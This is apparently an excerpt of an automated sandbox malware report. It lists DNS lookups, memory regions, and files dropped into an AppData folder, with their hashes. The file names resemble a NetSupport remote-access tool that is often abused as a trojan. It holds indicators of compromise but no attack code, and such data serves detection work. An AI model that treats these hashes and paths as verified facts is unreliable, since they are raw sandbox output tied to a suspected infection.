| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 213.143.182.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 150.1.37.23.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 16.234.44.23.in-addr.arpa | udp |
Files
memory/2996-2-0x000002841F360000-0x000002841F382000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c3npj5vq.mxg.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/2996-10-0x00007FFC08EE0000-0x00007FFC099A1000-memory.dmp
memory/2996-11-0x000002841F3A0000-0x000002841F3B0000-memory.dmp
memory/2996-12-0x000002841F3A0000-0x000002841F3B0000-memory.dmp
memory/2996-13-0x000002841F3A0000-0x000002841F3B0000-memory.dmp
memory/2996-15-0x0000028421820000-0x000002842182A000-memory.dmp
memory/2996-16-0x0000028421850000-0x0000028421862000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-156\client32.exe
| MD5 | c4f1b50e3111d29774f7525039ff7086 |
| SHA1 | 57539c95cba0986ec8df0fcdea433e7c71b724c6 |
| SHA256 | 18df68d1581c11130c139fa52abb74dfd098a9af698a250645d6a4a65efcbf2d |
| SHA512 | 005db65cedaaccc85525fb3cdab090054bb0bb9cc8c37f8210ec060f490c64945a682b5dd5d00a68ac2b8c58894b6e7d938acaa1130c1cc5667e206d38b942c5 |
C:\Users\Admin\AppData\Roaming\DIVX-156\PCICL32.dll
| MD5 | 045266eeef99a3e21b680055753d1ab4 |
| SHA1 | 51c5dd4a2369cd35aefd0108b3c2ef8bcac09249 |
| SHA256 | 75d804dbad0f58378a191ac13c2f04cbdc937ad332d84c12737eae4f3a5c1856 |
| SHA512 | 3bda61fa7073e93f782ff62ff38147b0de818406c460eeea346a05610ad25d8950804bec5e82f7be0758ad62cbc5e449c2807c6e5f8c1f8677da75a66f4ab351 |
memory/2996-75-0x00007FFC08EE0000-0x00007FFC099A1000-memory.dmp
C:\Users\Admin\AppData\Roaming\DIVX-156\PCICL32.DLL
| MD5 | 57009ba57b5825fb67118a0f608aa76d |
| SHA1 | ab8630beb690ed06ac8c49d3f8648373c7a56010 |
| SHA256 | 987c92d74ff74c299fcb3a84a013ce62f813f170224972feb167212b56d4aaf8 |
| SHA512 | 3810850c70a6f5751d5c4be7e426c4bb1aebcb44615930b2e752da5e134e2826cc2c7569e48bf59c9b254444826886228098ea8982ad0866ac5c32a1522d2ab5 |
C:\Users\Admin\AppData\Roaming\DIVX-156\pcichek.dll
| MD5 | 104b30fef04433a2d2fd1d5f99f179fe |
| SHA1 | ecb08e224a2f2772d1e53675bedc4b2c50485a41 |
| SHA256 | 956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd |
| SHA512 | 5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f |
C:\Users\Admin\AppData\Roaming\DIVX-156\pcicapi.dll
| MD5 | 34dfb87e4200d852d1fb45dc48f93cfc |
| SHA1 | 35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641 |
| SHA256 | 2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703 |
| SHA512 | f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2 |
C:\Users\Admin\AppData\Roaming\DIVX-156\msvcr100.dll
| MD5 | 0e37fbfa79d349d672456923ec5fbbe3 |
| SHA1 | 4e880fc7625ccf8d9ca799d5b94ce2b1e7597335 |
| SHA256 | 8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18 |
| SHA512 | 2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630 |
C:\Users\Admin\AppData\Roaming\DIVX-156\NSM.LIC
| MD5 | 1b41e64c60ca9dfadeb063cd822ab089 |
| SHA1 | abfcd51bb120a7eae5bbd9a99624e4abe0c9139d |
| SHA256 | f4e2f28169e0c88b2551b6f1d63f8ba513feb15beacc43a82f626b93d673f56d |
| SHA512 | c97e0eabea62302a4cfef974ac309f3498505dd055ba74133ee2462e215b3ebc5c647e11bcbac1246b9f750b5d09240ca08a6b617a7007f2fa955f6b6dd7fee4 |
C:\Users\Admin\AppData\Roaming\DIVX-156\client32.ini
| MD5 | 98043670d8c850e878e333312fcfa25a |
| SHA1 | dc795e8b906d70ee5854a6797e0c1557375bc443 |
| SHA256 | 0e7679bf30f5278850e4ff560975cce34d125e04463290ca8c0bf7065da3eecc |
| SHA512 | 13295bcf155a8dbc0afaa44dd746801e8087a3f3436c43b2879dbd1f7895faed122f06235814be887d6e305bf181135fc07b6beebf3ea30435282050ac88f201 |
C:\Users\Admin\AppData\Roaming\DIVX-156\HTCTL32.DLL
| MD5 | c94005d2dcd2a54e40510344e0bb9435 |
| SHA1 | 55b4a1620c5d0113811242c20bd9870a1e31d542 |
| SHA256 | 3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899 |
| SHA512 | 2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a |